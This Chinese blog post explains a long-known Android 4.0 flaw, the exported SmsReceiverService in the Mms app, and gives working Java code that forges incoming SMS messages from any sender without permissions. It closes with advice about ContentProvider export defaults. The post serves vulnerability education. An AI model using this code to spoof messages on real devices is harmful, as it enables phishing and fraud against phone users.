android安全问题（八）伪造短信（利用原生android4.0漏洞）

导读：本文利用android4.0的一个原生漏洞来伪造短信。无须声明任何权限即可伪造发送方为任何号码的短信给用户。

android4.0发布已经是很久很久很久很久以前的事情了，这个漏洞早就报了出来，之所以现在才写这篇文章，就是觉得，该升级的基本已经都升级了，该打补丁的基本都已经打了补丁，所以现在差不多是时候了。

原生android4.0系统中，Mms.apk的manifest有这样一段

<service android:name=".transaction.SmsReceiverService"
                 android:exported="true" />

android:exported="true"，意味着SmsReceiverService这个Service暴露给了大家，也让病毒有机可乘

在stackoverflow上面，有人早就给出了伪造短信的方案，我们在这里就直接使用人家的代码好了

http://stackoverflow.com/questions/12335642/create-pdu-for-android-that-works-with-smsmessage-createfrompdu-gsm-3gpp

其中UCS-2处理是我新加上去的

private static void createFakeSms(Context context, String sender,
        String body) {
    byte[] pdu = null;
    byte[] scBytes = PhoneNumberUtils
            .networkPortionToCalledPartyBCD("0000000000");
    byte[] senderBytes = PhoneNumberUtils
            .networkPortionToCalledPartyBCD(sender);
    int lsmcs = scBytes.length;
    // 时间处理，包括年月日时分秒以及时区和夏令时
    byte[] dateBytes = new byte[7];
    Calendar calendar = new GregorianCalendar();
    dateBytes[0] = SmsUtil
            .reverseByte((byte) (calendar.get(Calendar.YEAR)));
    dateBytes[1] = SmsUtil
            .reverseByte((byte) (calendar.get(Calendar.MONTH) + 1));
    dateBytes[2] = SmsUtil.reverseByte((byte) (calendar
            .get(Calendar.DAY_OF_MONTH)));
    dateBytes[3] = SmsUtil.reverseByte((byte) (calendar
            .get(Calendar.HOUR_OF_DAY)));
    dateBytes[4] = SmsUtil.reverseByte((byte) (calendar
            .get(Calendar.MINUTE)));
    dateBytes[5] = SmsUtil.reverseByte((byte) (calendar
            .get(Calendar.SECOND)));
    dateBytes[6] = SmsUtil
            .reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar
                    .get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));
    try {
        ByteArrayOutputStream bo = new ByteArrayOutputStream();
        bo.write(lsmcs);// 短信服务中心长度
        bo.write(scBytes);// 短信服务中心号码
        bo.write(0x04);
        bo.write((byte) sender.length());// 发送方号码长度
        bo.write(senderBytes);// 发送方号码
        bo.write(0x00);// 协议标示，00为普通GSM，点对点方式
        try {
            String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet";
            Class<?> cReflectedNFCExtras = Class
                    .forName(sReflectedClassName);
            Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod(
                    "stringToGsm7BitPacked", new Class[] { String.class });
            stringToGsm7BitPacked.setAccessible(true);
            byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null,
                    body);

            bo.write(0x00); // encoding: 0 for default 7bit
            bo.write(dateBytes);
            bo.write(bodybytes);
        } catch (Exception e) {
            Log.i(TAG, "sender:" + sender + "\nbody:" + body, e);
            // 下面是UCS-2编码的处理，中文短信就需要用此种方式
            bo.write(0x08); // encoding: 8 for UCS-2
            bo.write(dateBytes);
            bo.write(SmsUtil.encodeUCS2(body, null));// 其中encodeUCS2是从系统中复制过来的，并不是我写的
            // 源码具体位置在
            // frameworks/base/telephony/java/com/android/internal/telephony/gsm/SmsMessage.java
        }

        pdu = bo.toByteArray();
    } catch (IOException e) {
        Log.e(TAG, "sender:" + sender + "\nbody:" + body, e);
    }
    // 上面的部分都是组织短信数据，下面是将数据传递给SmsReceiverService，让它来帮我们发送。虽然我们的程序没有发送短信的权限，但是人家有啊！
    Intent intent = new Intent();
    intent.setClassName("com.android.mms",
            "com.android.mms.transaction.SmsReceiverService");
    intent.setAction("android.provider.Telephony.SMS_RECEIVED");
    intent.putExtra("pdus", new Object[] { pdu });
    intent.putExtra("format", "3gpp");
    context.startService(intent);
}

public static byte reverseByte(byte b) {
    return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4);
}

我们看看在SmsMessage.java中的getSubmitPdu处理user data的方式

// User Data (and length)
byte[] userData;
try {
    if (encoding == ENCODING_7BIT) {
        userData = GsmAlphabet.stringToGsm7BitPackedWithHeader(message, header,
                languageTable, languageShiftTable);
    } else { //assume UCS-2
        try {
            userData = encodeUCS2(message, header);
        } catch(UnsupportedEncodingException uex) {
            Log.e(LOG_TAG,
                    "Implausible UnsupportedEncodingException ",
                    uex);
            return null;
        }
    }
} catch (EncodeException ex) {
    // Encoding to the 7-bit alphabet failed. Let's see if we can
    // send it as a UCS-2 encoded message
    try {
        userData = encodeUCS2(message, header);
        encoding = ENCODING_16BIT;
    } catch(UnsupportedEncodingException uex) {
        Log.e(LOG_TAG,
                "Implausible UnsupportedEncodingException ",
                uex);
        return null;
    }
}

先看是不是7-bit编码方式，如果不是，那么就假设是UCS-2编码，如果抛出EncodeException，那么也尝试UCS-2编码

下面附上encodeUCS2代码

/**
 * Packs header and UCS-2 encoded message. Includes TP-UDL & TP-UDHL if
 * necessary
 *
 * @return
 * @throws UnsupportedEncodingException
 */
public static byte[] encodeUCS2(String message, byte[] header)
        throws UnsupportedEncodingException {
    byte[] userData, textPart;
    textPart = message.getBytes("utf-16be");

    if (header != null) {
        // Need 1 byte for UDHL
        userData = new byte[header.length + textPart.length + 1];

        userData[0] = (byte) header.length;
        System.arraycopy(header, 0, userData, 1, header.length);
        System.arraycopy(textPart, 0, userData, header.length + 1,
                textPart.length);
    } else {
        userData = textPart;
    }
    byte[] ret = new byte[userData.length + 1];
    ret[0] = (byte) (userData.length & 0xff);
    System.arraycopy(userData, 0, ret, 1, userData.length);
    return ret;
}

现在，我们就可以在原生android4.0上面干坏事了，如果你在真机上面发现上面的代码不起作用，那么很有可能人家已经修复了漏洞，所以你也别总想着干坏事。

不过……HTC G14上面的漏洞还是存在的，起码前两个月是这个样子，没关系，我已经换了手机……

 

另外值得一提是android:exported这个属性

我们可以在android官方文档中看到如下说明

http://developer.android.com/about/versions/jelly-bean.html#42-platform-tech

ContentProvider default configuration — Applications which target API level 17 will have “export” set to “false” by default for each ContentProvider, reducing default attack surface for applications.

这意味着什么呢？

之前，你可以不用显式设置export这个属性，别人也可以调用你的ContentProvider，但是你的应用放到了Android4.2（API17）上面，那么别人再调用你的ContentProvider的时候就会抛出异常，进而导致应用崩溃

这是时候，我们就必须在manifest文件中显式给export赋值为true

之前就遇到了这样的问题，应用放在4.1上面没有问题，放到4.2上就crash，调查了半天，才发现原因在这里

看来关键的属性还是显式声明的好，因为没准哪一天，它的默认值就变了

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